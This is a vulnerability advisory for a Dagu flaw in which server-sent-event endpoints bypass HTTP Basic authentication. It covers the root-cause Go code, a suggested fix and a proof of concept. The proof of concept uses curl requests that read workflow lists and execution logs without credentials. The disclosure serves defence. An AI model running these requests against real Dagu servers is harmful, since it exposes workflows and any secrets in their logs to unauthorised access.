CVE-2026-31882 — dagu

SSE Authentication Bypass in Basic Auth Mode

Summary

When Dagu is configured with HTTP Basic authentication (DAGU_AUTH_MODE=basic), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status — bypassing the authentication that protects the REST API.

Severity

HIGH (CVSS 3.1: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

Affected Versions

• dagu v2.2.3 (latest) and likely all versions with basic auth support

Affected Component

internal/service/frontend/server.go — buildStreamAuthOptions() function (lines 1177–1201)

Root Cause

The buildStreamAuthOptions() function builds authentication options for SSE/streaming endpoints. When the auth mode is basic, it returns an auth.Options struct with BasicAuthEnabled: true but AuthRequired defaults to false (Go zero value):

// server.go:1195-1201
if authCfg.Mode == config.AuthModeBasic {
    return auth.Options{
        Realm:            realm,
        BasicAuthEnabled: true,
        Creds:            map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},
        // AuthRequired is NOT set — defaults to false
    }
}

The authentication middleware at internal/service/frontend/auth/middleware.go:181-183 allows unauthenticated requests when AuthRequired is false:

// No credentials provided
// If auth is not required, allow the request through
if !opts.AuthRequired {
    next.ServeHTTP(w, r)
    return
}

The developers left a FIXME comment (line 1193) acknowledging this issue:

// FIXME: add a session-token mechanism for basic-auth users so browser
// EventSource requests can authenticate via the ?token= query parameter.

Exposed SSE Endpoints

All SSE routes are affected (server.go:1004-1019):

Additionally, the Agent SSE stream uses the same auth options (server.go:1166).

Proof of Concept

Setup

# Start Dagu with basic auth
export DAGU_AUTH_MODE=basic
export DAGU_AUTH_BASIC_USERNAME=admin
export DAGU_AUTH_BASIC_PASSWORD=secret123
dagu start-all

Verify REST API requires auth

# Regular API — returns 401 Unauthorized
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/api/v1/dags
# Output: 401

# With credentials — returns 200
curl -s -o /dev/null -w "%{http_code}" -u admin:secret123 http://localhost:8080/api/v1/dags
# Output: 200

Exploit SSE bypass

# SSE endpoint WITHOUT any credentials — returns 200 with full data
curl -s -N http://localhost:8080/api/v1/events/dags

Output (truncated):

event: connected
data: {"topic":"dagslist:"}

event: data
data: {"dags":[{"dag":{"name":"example-01-basic-sequential","schedule":[],...},
"filePath":"/home/user/.config/dagu/dags/example-01-basic-sequential.yaml",
"latestDAGRun":{"dagRunId":"...","status":4,"statusLabel":"succeeded",...}},
...]}

# Access execution logs without credentials
curl -s -N http://localhost:8080/api/v1/events/dag-runs/{dagName}/{runId}/logs

Output:

event: data
data: {"schedulerLog":{"content":"...step execution details, parameters, outputs..."},"stepLogs":[...]}

Wrong credentials are rejected

# Invalid credentials — returns 401 (auth validates IF provided, but doesn't REQUIRE it)
curl -s -o /dev/null -w "%{http_code}" -u wrong:wrong http://localhost:8080/api/v1/events/dags
# Output: 401

Impact

An unauthenticated network attacker can:

1. Enumerate all workflows: DAG names, descriptions, file paths, schedules, and tags
2. Monitor execution in real-time: Track which workflows are running, their status, and when they complete
3. Read execution logs: Access stdout/stderr of workflow steps, which commonly contain sensitive data (API keys, database credentials, tokens, internal hostnames)
4. Map infrastructure: File paths and workflow configurations reveal server directory structure and deployment details
5. Observe queue state: Understand pending work items and system load

This is especially critical in environments where:

• Workflows process sensitive data (credentials, PII, financial data)
• DAG parameters contain secrets passed at runtime
• Log output includes API responses or database queries with sensitive content

Suggested Fix

Set AuthRequired: true for basic auth mode and implement the session-token mechanism referenced in the FIXME comment:

if authCfg.Mode == config.AuthModeBasic {
    return auth.Options{
        Realm:            realm,
        BasicAuthEnabled: true,
        AuthRequired:     true,  // Require authentication
        Creds:            map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},
    }
}

For browser SSE compatibility, implement a session token that can be passed via the ?token= query parameter (the QueryTokenMiddleware already exists at auth/middleware.go:39 to convert query params to Bearer tokens).